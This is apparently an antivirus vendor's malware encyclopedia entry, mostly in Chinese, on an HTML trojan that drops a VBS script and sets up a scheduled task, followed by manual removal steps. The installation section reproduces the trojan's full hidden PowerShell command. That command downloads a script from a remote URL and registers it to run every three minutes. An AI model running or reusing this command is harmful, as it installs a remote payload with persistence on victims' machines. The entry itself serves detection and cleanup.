分析者: Raighen Sanchez   
 :

Trojan:Win32/Alevaul!rfn (MICROSOFT)

 平台:

Windows

 总体风险等级:
 潜在破坏:
 潜在分布:
 感染次数:
 信息暴露:

  • 恶意软件类型:
    Trojan

  • 有破坏性？:
    没有

  • 加密？:
    没有

  • In the Wild:
    是的

  概要

感染途徑: 从互联网下载、由其他恶意软件释放

该木马通过两种途径进入系统：一是被其他恶意软件作为文件释放到系统中，二是用户访问恶意网站时在不知情的情况下下载的文件。

它不具备任何传播功能。

它不具备任何后门功能。

它不具备任何信息窃取功能。

然而截至本文撰写时，上述网站均已无法访问。

  技术详细信息

文件大小: 10,525 bytes
报告日期: HTML, HTM
内存驻留: 是的
初始樣本接收日期: 2025年3月27日
Payload: 连接URL/IP地址, 显示窗口

Arrival Details

该木马通过两种途径进入系统：一是被其他恶意软件作为文件释放到系统中，二是用户访问恶意网站时在不知情的情况下下载的文件。

Installation

该木马程序会释放以下文件：

  • C:\Users\Public\Documents\UpdateOfficeCore.vbs

它会添加以下进程：

  • powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$w.Headers.Add('User-Agent', 'Ds26GOZNxbTxlJY');$a=$w.downloaddata('https://{BLOCKED}limes.life/api/values/uid');$c=[System.Text.Encoding]::utf8.GetString($a);set-content C:\Users\Public\Documents\UpdateOfficeCore.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Documents\UpdateOfficeCore.vbs /f;

Propagation

该木马程序不具备任何传播功能。

Backdoor Routine

该木马程序不具备任何后门功能。

Rootkit Capabilities

该木马程序不具备Rootkit功能。

下载例程

This Trojan downloads the file from the following URL and renames the file when stored in the affected system:

  • https://{BLOCKED}limes.life/api/values/uid

Information Theft

该木马程序不具备任何信息窃取功能

其他信息

该木马程序会执行以下操作：

  • It displays the following document upon opening the file:

然而截至本文撰写时，上述网站均已无法访问。

它不会利用任何漏洞。

It adds the following scheduled tasks:

  • Name:ExplorerCoreUpdateTaskMachine
    Trigger:Runs the VBS script every 3 minutes.
    Action::C:\Users\Public\Documents\UpdateOfficeCore.vbs

  解决方案

最小扫描引擎: 9.800
First VSAPI Pattern File: 20.128.03
VSAPI 第一样式发布日期: 2025年4月7日
VSAPI OPR样式版本: 20.129.00
VSAPI OPR样式发布日期: 2025年4月8日

Step 1

在进行任何扫描之前，Windows 7、Windows 8、Windows 8.1 和 Windows 10 用户必须先执行以下操作： 禁用 系统还原 以便对电脑进行全面扫描。

Step 2

注意：在此恶意软件/间谍软件/灰色软件执行期间，并非所有文件、文件夹和注册表键值和项都会安装到您的计算机上。这可能是由于不完整的安装或其他操作系统条件所致。如果您没有找到相同的文件/文件夹/注册表信息，请继续进行下一步操作。

Step 3

以安全模式重启

[ 更多 ]
请按以下步骤操作=

要进入安全模式重启：

• For Windows 7 and Windows Server 2008 (R2) users

  1. 重启你的电脑。
  2. 按下F8 在开机自检（POST）程序完成后。如果 高级启动选项 若未出现菜单，请尝试重启计算机，并在POST界面显示后多次按F8键。
  3. 在高级启动选项菜单中，使用方向键选择Safe Mode 选项，然后按 Enter.

• For Windows 8, Windows 8.1, and Windows Server 2012 users

  1. 访问Charms bar 将鼠标指针移至屏幕右上角即可。
  2. 将鼠标指针向下移动并点击 Settings>更改您的电脑设置.
  3. 在左侧面板中，点击“通用”。
  4. 在右侧面板中，向下滚动至底部找到 Advanced startup 部分，然后点击 Restart now 按钮并等待系统重启。
  5. 在Advanced Startup 菜单中，点击 Troubleshoot>Advanced Options>Startup Settings>Restart 并等待系统重启。
  6. 在Startup Settings 菜单中，按下 4 以启用安全模式。

• 对于 Windows 10 用户：

  1. 按下Windows logo key + I 键打开“设置”。若无效，请选择 Start按钮，然后选择Settings.
  2. 选择Update & Security > Recovery.
  3. 在Advanced startup, select Restart now.
  4. 当您的电脑重启进入 请选择一个选项 屏幕上，选择Troubleshoot > Advcanced options > 启动设置 > Restart.
  5. 电脑重启后，您将看到一系列选项。请选择4 或按 F4 以安全模式启动您的电脑。

Step 4

删除计划任务 while in Safe Mode

  1. Still in safe mode, the following {Task Name}-{Task to be run} 列出的内容应在以下步骤中使用：
    • {Task Name}: ExplorerCoreUpdateTaskMachine
    • {Task to be run}: C:\Users\Public\Documents\UpdateOfficeCore.vbs
  2. 对于 Windows 7 和 Server 2008 (R2) 用户：点击Start>Computer.
    • 对于Windows 8、8.1、10及Server 2012用户, 右键单击屏幕左下角，然后点击 File Explorer.
  3. 在搜索计算机/此电脑输入框中，键入：
    • %System%\Tasks\{Task Name}
  4. 定位到该文件后，选中并按 SHIFT+DELETE 将其删除。
  5. 打开注册表编辑器。 为此，请执行以下操作:
    • 对于 Windows 7 和 Server 2008 (R2) 用户： 点击开始按钮，在搜索输入框中键入regedit，然后按Enter键。
    • 对于 Windows 8、8.1、10 及 Server 2012 (R2) 用户，请右键单击屏幕左下角，点击 Run, type regedit in the text box
  6. 在注册表编辑器窗口的左侧面板中，双击以下项目：
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  7. Locate the created entry and take note of the registry value's data:
    • ID={Task Data}
  8. After taking note of the data, delete the registry key:
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tree>{Task Name}
  9. 在注册表编辑器窗口的左侧面板中，双击以下项目：
    • HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows NT>CurrentVersion>Schedule>TaskCache>Tasks
  10. 仍在左侧面板中，定位并删除与已定位任务数据同名的注册表项。 in step #6:
    • ={Task Data}
  11. 关闭注册表编辑器。

Step 5

搜索并删除此文件

[ 更多 ]
某些文件可能被隐藏，请务必勾选 搜索隐藏的文件和文件夹 勾选框 "更多进阶选项" 选项，以在搜索结果中包含所有隐藏的文件和文件夹。
  • C:\Users\Public\Documents\UpdateOfficeCore.vbs
请按以下步骤操作=

要手动从受感染系统中删除恶意软件/灰色软件文件：

•适用于 Windows 7、Windows Server 2008 (R2)、Windows 8、Windows 8.1、Windows 10 及 Windows Server 2012 (R2)：

  1. 打开 Windows 资源管理器窗口。
    • 对于 Windows 7 和 Server 2008 (R2) 用户：点击Start>Computer.
    • 对于 Windows 8、8.1、10 及 Server 2012 (R2) 用户： 右键单击 屏幕左下角，然后点击File Explorer.
  2. 在搜索计算机/此电脑输入框中，键入：
    • C:\Users\Public\Documents\UpdateOfficeCore.vbs
  3. 定位到该文件后，选中并按 SHIFT+DELETE 将其删除。
    *Note:阅读以下微软官方页面 若上述步骤在 Windows 7 和 Windows Server 2008 (R2) 系统上无效：

Step 6

以正常模式重启计算机，并使用亚信安全产品扫描检测病毒Trojan.HTML.POWLOAD.C. 如果检测到的文件已被亚信安全产品清理、删除或隔离，则无需执行其他操作。您可以选择直接删除隔离文件。请勾选此项知识库页面 了解更多信息。